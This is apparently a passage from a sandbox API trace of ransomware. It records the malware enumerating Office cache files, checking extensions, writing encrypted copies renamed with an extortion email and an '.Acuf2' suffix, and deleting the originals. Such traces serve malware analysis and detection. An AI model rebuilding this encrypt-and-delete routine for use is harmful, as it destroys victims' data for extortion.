	[0038.009] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.009] lstrlenW (lpString=".7z") returned 3
	[0038.009] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.009] lstrlenW (lpString=".dbf") returned 4
	[0038.009] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.009] lstrlenW (lpString=".1cd") returned 4
	[0038.009] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0038.009] lstrlenW (lpString=".jpg") returned 4
	[0038.009] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.010] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.010] lstrlenW (lpString="Setup.xml") returned 9
	[0038.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.010] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1886) returned 1
	[0038.010] CloseHandle (hObject=0x178) returned 1
	[0038.010] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0038.010] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.010] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.010] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0038.011] GetLastError () returned 0x0
	[0038.011] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x75e, lpOverlapped=0x0) returned 1
	[0038.012] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x760, lpOverlapped=0x0) returned 1
	[0038.013] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.013] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.013] SetEndOfFile (hFile=0x17c) returned 1
	[0038.013] CloseHandle (hObject=0x17c) returned 1
	[0038.014] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.014] SetEndOfFile (hFile=0x178) returned 1
	[0038.015] CloseHandle (hObject=0x178) returned 1
	[0038.015] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.015] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0038.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.015] lstrlenW (lpString=".doc") returned 4
	[0038.015] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.015] lstrlenW (lpString=".docx") returned 5
	[0038.016] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.016] lstrlenW (lpString=".pdf") returned 4
	[0038.016] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.016] lstrlenW (lpString=".xls") returned 4
	[0038.016] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.016] lstrlenW (lpString=".xlsx") returned 5
	[0038.016] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.016] lstrlenW (lpString=".ppt") returned 4
	[0038.016] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.016] lstrlenW (lpString=".zip") returned 4
	[0038.016] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.016] lstrlenW (lpString=".rar") returned 4
	[0038.016] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.016] lstrlenW (lpString=".bz2") returned 4
	[0038.016] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.016] lstrlenW (lpString=".7z") returned 3
	[0038.016] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.016] lstrlenW (lpString=".dbf") returned 4
	[0038.016] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.016] lstrlenW (lpString=".1cd") returned 4
	[0038.016] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.016] lstrlenW (lpString=".jpg") returned 4
	[0038.017] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.017] lstrlenW (lpString=".doc") returned 4
	[0038.017] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.017] lstrlenW (lpString=".docx") returned 5
	[0038.017] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.017] lstrlenW (lpString=".pdf") returned 4
	[0038.017] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.017] lstrlenW (lpString=".xls") returned 4
	[0038.017] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.017] lstrlenW (lpString=".xlsx") returned 5
	[0038.017] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.017] lstrlenW (lpString=".ppt") returned 4
	[0038.017] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.017] lstrlenW (lpString=".zip") returned 4
	[0038.017] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.017] lstrlenW (lpString=".rar") returned 4
	[0038.017] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.017] lstrlenW (lpString=".bz2") returned 4
	[0038.017] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.017] lstrlenW (lpString=".7z") returned 3
	[0038.017] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.017] lstrlenW (lpString=".dbf") returned 4
	[0038.017] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.017] lstrlenW (lpString=".1cd") returned 4
	[0038.017] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.017] lstrlenW (lpString=".jpg") returned 4
	[0038.018] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.018] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.018] lstrlenW (lpString="PublisherMUI.xml") returned 16
	[0038.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.019] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1450) returned 1
	[0038.019] CloseHandle (hObject=0x178) returned 1
	[0038.019] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020
	[0038.019] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.019] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.019] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.020] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.020] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0038.020] GetLastError () returned 0x0
	[0038.020] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x5aa, lpOverlapped=0x0) returned 1
	[0038.022] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0038.023] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.023] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0038.023] SetEndOfFile (hFile=0x17c) returned 1
	[0038.024] CloseHandle (hObject=0x17c) returned 1
	[0038.024] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.024] SetEndOfFile (hFile=0x178) returned 1
	[0038.025] CloseHandle (hObject=0x178) returned 1
	[0038.025] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.025] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1
	[0038.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.026] lstrlenW (lpString=".doc") returned 4
	[0038.026] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.026] lstrlenW (lpString=".docx") returned 5
	[0038.026] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.026] lstrlenW (lpString=".pdf") returned 4
	[0038.026] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.026] lstrlenW (lpString=".xls") returned 4
	[0038.026] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.026] lstrlenW (lpString=".xlsx") returned 5
	[0038.026] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.026] lstrlenW (lpString=".ppt") returned 4
	[0038.026] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.026] lstrlenW (lpString=".zip") returned 4
	[0038.026] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.026] lstrlenW (lpString=".rar") returned 4
	[0038.026] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.026] lstrlenW (lpString=".bz2") returned 4
	[0038.026] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.026] lstrlenW (lpString=".7z") returned 3
	[0038.026] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.026] lstrlenW (lpString=".dbf") returned 4
	[0038.026] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.026] lstrlenW (lpString=".1cd") returned 4
	[0038.026] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.027] lstrlenW (lpString=".jpg") returned 4
	[0038.027] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.027] lstrlenW (lpString=".doc") returned 4
	[0038.027] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.027] lstrlenW (lpString=".docx") returned 5
	[0038.027] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.027] lstrlenW (lpString=".pdf") returned 4
	[0038.027] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.027] lstrlenW (lpString=".xls") returned 4
	[0038.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.027] lstrlenW (lpString=".xlsx") returned 5
	[0038.027] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.027] lstrlenW (lpString=".ppt") returned 4
	[0038.027] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.027] lstrlenW (lpString=".zip") returned 4
	[0038.027] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.027] lstrlenW (lpString=".rar") returned 4
	[0038.027] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.027] lstrlenW (lpString=".bz2") returned 4
	[0038.027] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.027] lstrlenW (lpString=".7z") returned 3
	[0038.027] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.027] lstrlenW (lpString=".dbf") returned 4
	[0038.027] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.027] lstrlenW (lpString=".1cd") returned 4
	[0038.027] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79
	[0038.028] lstrlenW (lpString=".jpg") returned 4
	[0038.028] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.028] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.028] lstrlenW (lpString="Setup.xml") returned 9
	[0038.028] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.028] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1608) returned 1
	[0038.028] CloseHandle (hObject=0x178) returned 1
	[0038.028] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0038.028] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.028] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0038.028] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.028] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.028] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0038.029] GetLastError () returned 0x0
	[0038.029] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x648, lpOverlapped=0x0) returned 1
	[0038.032] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x650, lpOverlapped=0x0) returned 1
	[0038.032] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.033] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.033] SetEndOfFile (hFile=0x17c) returned 1
	[0038.033] CloseHandle (hObject=0x17c) returned 1
	[0038.033] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.033] SetEndOfFile (hFile=0x178) returned 1
	[0038.034] CloseHandle (hObject=0x178) returned 1
	[0038.034] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.035] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0038.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.035] lstrlenW (lpString=".doc") returned 4
	[0038.035] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.035] lstrlenW (lpString=".docx") returned 5
	[0038.035] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.035] lstrlenW (lpString=".pdf") returned 4
	[0038.035] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.035] lstrlenW (lpString=".xls") returned 4
	[0038.035] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.035] lstrlenW (lpString=".xlsx") returned 5
	[0038.035] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.035] lstrlenW (lpString=".ppt") returned 4
	[0038.035] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.035] lstrlenW (lpString=".zip") returned 4
	[0038.035] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.035] lstrlenW (lpString=".rar") returned 4
	[0038.035] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.035] lstrlenW (lpString=".bz2") returned 4
	[0038.035] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.035] lstrlenW (lpString=".7z") returned 3
	[0038.035] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.035] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.035] lstrlenW (lpString=".dbf") returned 4
	[0038.036] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.036] lstrlenW (lpString=".1cd") returned 4
	[0038.036] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.036] lstrlenW (lpString=".jpg") returned 4
	[0038.036] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.036] lstrlenW (lpString=".doc") returned 4
	[0038.036] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.036] lstrlenW (lpString=".docx") returned 5
	[0038.036] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.036] lstrlenW (lpString=".pdf") returned 4
	[0038.036] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.036] lstrlenW (lpString=".xls") returned 4
